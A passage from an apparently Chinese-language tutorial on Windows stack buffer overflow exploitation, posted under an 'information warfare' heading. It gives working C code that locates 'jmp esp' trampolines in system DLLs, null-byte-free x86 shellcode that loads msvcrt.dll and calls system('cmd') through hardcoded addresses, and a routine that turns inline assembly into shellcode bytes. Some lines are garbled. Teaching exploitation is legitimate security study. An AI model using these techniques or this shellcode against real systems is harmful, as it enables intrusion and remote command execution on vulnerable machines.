当前位置:首页 > 信息对抗
的固哪dll比个认
借助于跳板的确可以很好解决栈帧移位(栈加载地址不定)的问题,但是跳板指令从找呢?“幸运”的是,在Windows操作系统加载的大量中,包含了许多这样的指令,
如kernel32.dll,ntdll.dll,这两动态链接库是Windows程序默加载的。如果是图形化界面的Windows程序还会加载user32.dll,它也包含了大量的
跳板指令!而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!
//查询dll内第一个jmp esp指令的位置 int findJmp(char*dll_name) {
char* handle=(char*)LoadLibraryA(dll_name);//获取dll加载地址 for(int pos=0;;pos++)//遍历dll代码空间 {
if(handle[pos]==(char)0xff&&handle[pos+1]==(char)0xe4)//寻找0xffe4 = jmp esp
{
return (int)(handle+pos); } } }
这里简化了搜索算法,输出第一个跳板指令的地址,读者可以选取其他更合适位置。LoadLibraryA库函数返回值就是dll的加载地址,然后加上搜索到的跳板指令偏移pos便是最终地址。jmp esp指令的二进制表示为0xffe4,因此搜索算法就是搜索dll内这样的字节数据即可。
虽然如此,上述的攻击方式还不够好。因为在esp后继续追加shellcode代码会将上级函数的栈帧淹没,这样做并没有什么好处,甚至可能会带来运行时问题。既然被溢出的函数栈帧内提供了缓冲区,我们还是把核心的shellcode放在缓冲区内,而在esp之后放上跳转指令转移到原本的缓冲区位置。由于这样做使代码的位置在esp指针之前,如果shellcode中使用了push指令便会让esp指令与shellcode代码越来越近,甚至淹没自身的代码。这显然不是我们想要的结果,因此我们可以强制抬高esp指针,使它在shellcode之前(低地址位置),这样就能在shellcode内正常使用push指令了。
调整代码的内容很简单:
add esp,-X jmp esp
第一条指令抬高了栈指针到shellcode之前。X代表shellcode起始地址与esp的偏移。如果shellcode从缓冲区起始位置开始,那么就是buffer的地址偏移。这里不使用sub esp,X指令主要是避免X的高位字节为0的问题,很多情况下缓冲区溢出是针对字符串缓冲区的,如果出现字节0会导致缓冲区截断,从而导致溢出失败。
第二条指令就是跳转到shellcode的起始位置继续执行。(又是jmp esp!) 通过上述方式便能获得一个较为稳定的栈溢出攻击。 五、shellcode构造
shellcode实质是指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义可以把shellcode分为四部分:
1、核心shellcode代码,包含了攻击者要执行的所有代码。 2、溢出地址,是触发shellcode的关键所在。
3、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用nop指令填充——0x90表示。
4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。
前边一直在围绕溢出地址讨论,并解决了shellcode组织的问题,而最核心的代码如何构造并未提及——即攻击成功后做的事情。其实一旦缓冲区溢出攻击成功后,如果被攻击的程序有系统的root权限——比如系统服务程序,那么攻击者基本上可以为所欲为了!但是我们需要清楚的是,核心shellcode必须是二进制代码形式。而且shellcode执行时是在远程的计算机上,因此shellcode是否能通用是一个很复杂的问题。我们可以用一段简单的代码实例来说明这个问题。
缓冲区溢出成功后,一般大家都会希望开启一个远程的shell控制被攻击的计算机。开启shell最直接的方式便是调用C语言的库函数system,该函数可以执行操作系统的命令,就像我们在命令行下执行命令那样。假如我们执行cmd命令——在远程计算机上启动一个命令提示终端(我们可能还不能和它交互,但是可以在这之前建立一个远程管道等),这里仅作为实例测试。
为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用Windows的API Loadlibrary加载C语言的库msvcrt.dll,类似的我们也需要为字符串“msvcrt.dll”开辟栈空间。
xor ebx,ebx ;//ebx=0
push 0x3f3f6c6c ;//ll?? push 0x642e7472 ;//rt.d push 0x6376736d ;//msvc mov [esp+10],ebx ;//'?'->'0' mov [esp+11],ebx ;//'?'->'0'
mov eax,esp ;//\地址 push eax ;//\
mov eax,0x77b62864 ;//kernel32.dll:LoadLibraryA call eax ;//LoadLibraryA(\add esp,16
push 0x3f646d63 ;//\mov [esp+3],ebx ;//'?'->'\\0'
mov eax,esp;//\地址 push eax ;//\
mov eax,0x774ab16f ;//msvcrt.dll:system call eax ;//system(\add esp,8
上述汇编代码实质上是如下两个函数调用语句: Loadlibrary(“msvcrt.dll”); system(“cmd”);
不过在构造这段汇编代码时需要注意不能出现字节0,为了填充字符串的结束字符,我们使用已经初始化为0的ebx寄存器代替。另外,在对库函数调用的时候需要提前计算出函数的地址,如Loadlibrary函数的0x77b62864。计算方式如下:
int findFunc(char*dll_name,char*func_name) {
HINSTANCE handle=LoadLibraryA(dll_name);//获取dll加载地址 return (int)GetProcAddress(handle,func_name); }
这个函数地址是在本地计算的,如果被攻击计算机的操作系统版本差别较大的话,这个地址可能是错误的。不过在《0day安全:软件漏洞分析技术》中,作者提供了一个更好的方式,感兴趣的读者可以参考该书提供的代码。因此构造一个通用的shellcode并非十分容易,如果想让攻击变得有效的话
六、汇编语言自动转换 写出shellcode后(无论是简单的还是通用的),我们还需要将这段汇编代码转换为机器代码。如果读者对x86汇编十分熟悉的话,选择手工敲出二进制代码的话也未尝不可。不过我们都
希望能让计算机帮助做完这些事,既然开发环境提供了编译器,用它们帮忙何乐而不为呢?既不用OllyDbg工具,也不适用其他的第三方工具,我们写一个简单的函数来完成这个工作。
//将内嵌汇编的二进制指令dump到文件,style指定输出数组格式还是二进制形式,返回代码长度
int dumpCode(unsigned char*buffer) {
goto END ;//略过汇编代码 BEGIN: __asm {
//在这里定义任意的合法汇编代码 } END:
//确定代码范围 UINT begin,end; __asm {
mov eax,BEGIN ; mov begin,eax ; mov eax,END ; mov end,eax ; }
//输出
int len=end-begin;
memcpy(buffer,(void*)begin,len); //四字节对齐 int fill=(len-len%4)%4;
while(fill--)buffer[len+fill]=0x90; //返回长度 return len+fill; }
因为C++是支持嵌入式汇编代码的,因此在函数内的汇编代码都会被整成编译为二进制代码。实现二进制转换的基本思想是读取编译器最终生成的二进制代码段数据,将数据导出到指定的缓冲区内。为了锁定嵌入式汇编代码的位置和长度,我们定义了两个标签BEGIN和END。这两个标签在汇编语言级别会被解析为实际的线性地址,但是在高级语言级是无法直接使用这两个标签值的,只能使用goto语句跳转使用它们。但是我们可以顺水推舟,使用两个局部变量在汇编级记录这两个标签的值!
//确定代码范围 UINT begin,end; __asm {
mov eax,BEGIN ; mov begin,eax ;
共分享92篇相关文档